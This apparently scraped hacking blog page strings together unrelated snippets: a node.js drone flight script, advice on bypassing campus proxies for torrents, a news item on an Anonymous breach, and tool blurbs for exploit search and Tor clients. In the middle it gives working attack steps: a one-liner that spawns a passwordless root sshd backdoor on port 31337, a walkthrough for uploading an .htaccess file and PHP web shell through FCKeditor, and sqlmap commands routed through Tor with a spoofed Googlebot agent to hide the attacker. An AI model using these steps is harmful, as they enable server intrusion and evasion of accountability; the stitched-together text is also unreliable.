Network Security

We will show you how to program your drone so it takes off, moves around and does a flip. First of you will need to download and install node.js and then download the ar-drone module.

 Then the next step is to execute this code:

 

var arDrone = require('ar-drone');
var client = arDrone.createClient();

client.takeoff();

client
  .after(5000, function() {
    this.clockwise(0.5);
  })
  .after(3000, function() {
    this.animate('flipLeft', 15);
  })
  .after(1000, function() {
    this.stop();
    this.land();
  });

So you are in college or in a firm where you operate behind a proxy server. The company and colleges have placed many restrictions on many sites and you can not download torrent files . I was going through the same problem when I entered into my college. In my first year, I made use of the following sites. I used to download almost all of my stuff through torrents, simply because they are easy to find and quick to download. Now I use Tor but sometimes I still make use of these sites. So, I would like to  share with you some of the methods to download torrents online.

The hacktivists of Anonymous are once again back in the news with their latest attack. A hacker claiming to be affiliated with Anonymous broke into the World Trade Organization database and made the personal information of thousands of officials public.

A week or so ago, I read the news of a new backdoor on several devices, including those made by Belkin, Cisco, NetGear, Linksys, and several others. A list of what seems to be affected devices can be found here. Eloi Vanderbeken, who posted his findings on GitHub made the original discovery. He also wrote a useful python proof-of-concept exploit, which allowed command injection, but I wanted Metasploit integration.

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

spawns sshd backdoor on port 31337 

You can login with root/bin/ftp/mail/anyuser without password.

Bypass all versions FCKeditor with htaccess

1.create a htaccess file (.htaccess):

SetHandler application/x-httpd-php
2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html

http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/t

est.html

3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to
"shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.

When trying to exploit some website using sqlmap, its a good idea to be anonymous. Sqlmap has excellent support for using common proxies or tor.

First start tor and ensure that it is running the socks5 daemon on port 9050. Then use the socks5 proxy with sqlmap as follows

# ./sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.hackable.org/view_section.php?id=10"

The above command uses tor with type SOCKS5. The --tor option by default tries to use the HTTP proxy instead of SOCKS5. Therefor its necessary to specify the tor-type to SOCKS5.

To further improve the anonymity of the scan, use some fake user agent. Here is a quick example.

# ./sqlmap.py --tor --tor-type=SOCKS5 -u "http://www.hackable.org/view_section.php?id=10" --user-agent="Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

The above example uses a google bot kind of user agent in the http headers of the scan, further complicating the identity of the hacker.

That is pretty much of it. Enjoy hacking!!

Exploitsearch.net, is an attempt at cross referencing/correlating exploits and vulnerability data from various sources and making the resulting database available to everyone. 

Unlike other exploit search engines which are simply custom google searches, this site actually crawls the source databases/websites and parses the contained data. Once the data is collected and parsed, it is inserted into the www.exploitsearch.net database and becomes available for searching. 

WAF-FLE is a OpenSource Console for ModSecurity, it allow the modsec admin to view and search events sent by mlogc (modsecurity event log handler).

Features:

Central event console

Support Modsecurity in “traditional” and “Anomaly Scoring”

Able to receive events sent from mlogc (in real time or in batch using mlogc-batch-load.pl)

No sensor number limit

Dashboard with recent events information

Drill down of events with filter

Every (almost) data is “clickable” to drill down the filter

Inverted filter (to filter for “all but this item”)

Filter for network (in CIDR format, x.x.x.x/22)

Raw event download

Use Mysql as database

Open Source released under GPL v2

Download WAF-FLE v0.6.0 (final)

Advanced Onion Router is a portable client for the OR network and is intended to be an improved alternative for Tor+Vidalia+Privoxy bundle for Windows users. Some of the improvements include UNICODE paths, support for HTTP and HTTPS proxy protocols on the same Socks4/Socks5 port with HTTP header filtering that generates fake identity-dependent headers every time the identity is changed (proxy chains are also supported), support for NTLM proxies, a User Interface that makes Tor's options and actions more accessible, local banlist for forbidden addresses, private identity isolation, a point-and-click process interceptor that can redirect connections from programs that don't support proxies, also giving them fake information about the local system and support for .onion addresses. Also, it can estimate AS paths for all circuits and prevent AS path intersections, it can restrict circuits to be built using only nodes from different countries, can change circuit lengths and more.